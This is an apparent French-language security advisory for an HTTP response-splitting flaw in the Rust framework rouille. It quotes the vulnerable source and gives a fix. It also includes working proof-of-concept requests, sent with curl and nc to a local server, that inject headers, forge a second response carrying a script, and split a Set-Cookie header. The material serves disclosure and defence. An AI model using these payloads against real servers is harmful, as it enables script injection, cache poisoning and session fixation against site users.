
Security Advisory: HTTP Response Splitting via Unvalidated Response Header Values (rouille)
Identifiant CVE attribué : CVE-2026-66746
rouille écrit les valeurs d'en-tête de réponse au client sans les vérifier pour détecter un retour chariot ou un saut de ligne. Une application qui place du texte influencé par l'attaquant dans une valeur d'en-tête émet donc des en-têtes supplémentaires, ou une seconde réponse HTTP entière, sur le réseau.
Deux propriétés de rouille rendent cela accessible dans du code ordinaire. Request::get_param décode les échappements de pourcentage, donc %0d%0a dans une chaîne de requête devient un vrai CRLF. Et session::session copie la valeur Cookie du client dans Set-Cookie sans aucune validation.
Toutes les autres piles HTTP Rust largement utilisées rejettent cela au niveau du type : http::HeaderValue::from_str renvoie InvalidHeaderValue pour CR et LF, c'est pourquoi hyper, axum, actix-web et warp ne sont pas exposés de la même manière.
URL du dépôt : https://github.com/tomaka/rouille
| Première version affectée | 0.4.0 (2016-12-14) pour le chemin d'en-tête de réponse ci-dessous |
| Dernière version affectée | 3.6.2 (2023-04-24), la version actuelle |
| Corrigée dans | aucune version corrigée au moment de la rédaction |
Les versions antérieures à 0.4.0 émettent les réponses via un chemin de code différent qui n'a pas été examiné, elles ne sont donc ni confirmées ni infirmées. La réflexion session::session décrite dans le chemin B existe depuis 0.3.2 (2016-12-02).
CWE-113 (neutralisation incorrecte des séquences CRLF dans les en-têtes HTTP), un cas particulier de CWE-93 (injection CRLF).
Score de base CVSS 4.0 : 5,3 (Moyen)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
Le chemin A nécessite un attaquant distant non authentifié et une victime qui suit un lien fourni par l'attaquant. L'attaquant doit faire en sorte que l'application place une chaîne dérivée de la requête dans un en-tête de réponse. La redirection vers un paramètre de requête next ou return_to est le cas courant.
Le chemin B nécessite seulement que l'application appelle session::session et lise l'identifiant de session. L'attaquant contrôle son propre en-tête Cookie, donc en soi, cela est auto-infligé. Cela devient une attaque contre d'autres lorsqu'un cache partagé stocke la réponse découpée, ou lorsqu'elle est combinée à un autre moyen de définir un cookie dans le navigateur de la victime.
rouille/src/lib.rs, lignes 624 à 640, transmet les valeurs directement :
624 for (key, value) in rouille_response.headers {
625 if key.eq_ignore_ascii_case("Content-Length") {
626 continue;
627 }
628
629 if key.eq_ignore_ascii_case("Upgrade") {
630 upgrade_header = value;
631 continue;
632 }
633
634 if let Ok(header) = tiny_http::Header::from_bytes(key.as_bytes(), value.as_bytes())
635 {
636 response.add_header(header);
Header::from_bytes vérifie uniquement que les octets sont ASCII, et CR et LF sont ASCII. tiny_http-0.12.0/src/common.rs, lignes 166 à 172 :
166 pub fn from_bytes<B1, B2>(header: B1, value: B2) -> Result<Header, ()>
...
171 let header = HeaderField::from_bytes(header).or(Err(()))?;
172 let value = AsciiString::from_ascii(value).or(Err(()))?;
La valeur est ensuite écrite sans échappement.
tiny_http-0.12.0/src/response.rs, lignes 99 à 104 :
99 for header in headers.iter() {
100 writer.write_all(header.field.as_str().as_ref())?;
101 write!(&mut writer, ": ")?;
102 writer.write_all(header.value.as_str().as_ref())?;
103 write!(&mut writer, "\r\n")?;
104 }
Request::get_param décode les échappements de pourcentage, de sorte que l'appelant reçoit de véritables caractères de contrôle. rouille/src/lib.rs, lignes 928 à 932 :
928 .map(|value| {
929 percent_encoding::percent_decode(value.replace('+', " ").as_bytes())
930 .decode_utf8_lossy()
931 .into_owned()
932 })
rouille/src/session.rs prend la clé du cookie du client à la ligne 59 et l'interpole dans l'en-tête de réponse aux lignes 75 à 81 :
59 key: cookie.into(),
...
75 let header_value = format!(
76 "{}={}; Max-Age={}; Path=/; HttpOnly",
77 cookie_name, session.key, timeout_s
78 );
79 response
80 .headers
81 .push(("Set-Cookie".into(), header_value.into()));
Étape 1. Démarrer un serveur qui redirige vers un paramètre de requête.
use rouille::Response;
fn main() {
rouille::start_server("127.0.0.1:8002", |request| {
let next = request.get_param("next").unwrap_or_else(|| "/".to_string());
Response::redirect_303(next)
});
}
Étape 2. Envoyez la requête avec %0d%0a dans le paramètre.
curl -sSi 'http://127.0.0.1:8002/?next=/a%0d%0aX-Injected:%20yes'
Résultat. X-Injected arrive comme un en-tête distinct :
HTTP/1.1 303 See Other
Server: tiny-http (Rust)
Location: /a
X-Injected: yes
Content-Length: 0
Étape 3. Étendez la charge utile au-delà de la fin des en-têtes pour émettre une seconde réponse entière.
curl -sSi 'http://127.0.0.1:8002/?next=/a%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E'
Résultat. Une requête, deux réponses complètes. La seconde transporte une ligne de statut, un type de contenu et un corps choisis par l'attaquant :
HTTP/1.1 303 See Other
Location: /a
Content-Length: 0
HTTP/1.1 200 OK
Content-Type: text/html
<script>alert(1)</script>
Étape 1. Démarrer un serveur utilisant l'idiome de session documenté.
use rouille::{session, Response};
fn main() {
rouille::start_server("127.0.0.1:8006", |request| {
session::session(request, "SID", 3600, |s| {
Response::text(format!("session id: {}", s.id()))
})
});
}
Étape 2. Envoyez un cookie dont la valeur contient un LF seul. \n ci-dessous est un saut de ligne unique, \r\n est un CRLF.
printf 'GET / HTTP/1.1\r\nHost: x\r\nCookie: SID=abc\nX-Injected: yes\r\nConnection: close\r\n\r\n' | nc 127.0.0.1 8006
Résultat. La valeur sort de Set-Cookie sur sa propre ligne :
Set-Cookie: SID=abc
X-Injected: yes; Max-Age=3600; Path=/; HttpOnly
Le chemin B présente trois limites à noter. Seul un LF seul passe, car un CRLF aurait terminé la ligne d'en-tête dans tiny_http, donc le client ou le cache doit traiter un LF isolé comme un terminateur. Tout ce qui suit le point d'injection porte toujours le suffixe ; Max-Age=3600; Path=/; HttpOnly du même format!, donc la primitive est un en-tête avec une chaîne de fin fixe plutôt qu'un en-tête arbitraire propre. Et l'attaquant ne contrôle que son propre cookie. Le chemin A n'a aucune de ces limites.
Exécution de script dans le contexte de sécurité de l'origine, empoisonnement du cache lorsqu'un cache partagé stocke la réponse injectée pour l'URL de la victime, fixation de session via un Set-Cookie injecté, et écrasement des en-têtes de sécurité tels que CSP ou CORS. Comme le chemin A produit un vrai CRLF, chaque client et chaque cache effectue la découpe sur celui-ci.
Validez les valeurs d'en-tête dans Server::process avant de les transmettre à tiny_http, dans rouille/src/lib.rs autour de la ligne 634 :
fn header_value_is_safe(v: &str) -> bool {
!v.bytes().any(|b| b == b'\r' || b == b'\n' || b == 0)
}
Renvoyez une erreur 500 pour la réponse entière plutôt que de supprimer l'en-tête fautif, afin que l'échec soit visible au lieu de modifier silencieusement la réponse.
Validez également la clé de session dans session::session : rejetez une valeur de cookie qui n'est pas [A-Za-z0-9]+ et générez un nouvel identifiant à la place. Effectuer la vérification dans Response::with_additional_header, with_unique_header et les constructeurs redirect_* ferait apparaître l'erreur au niveau du site d'appel, où l'auteur de l'application peut agir en conséquence.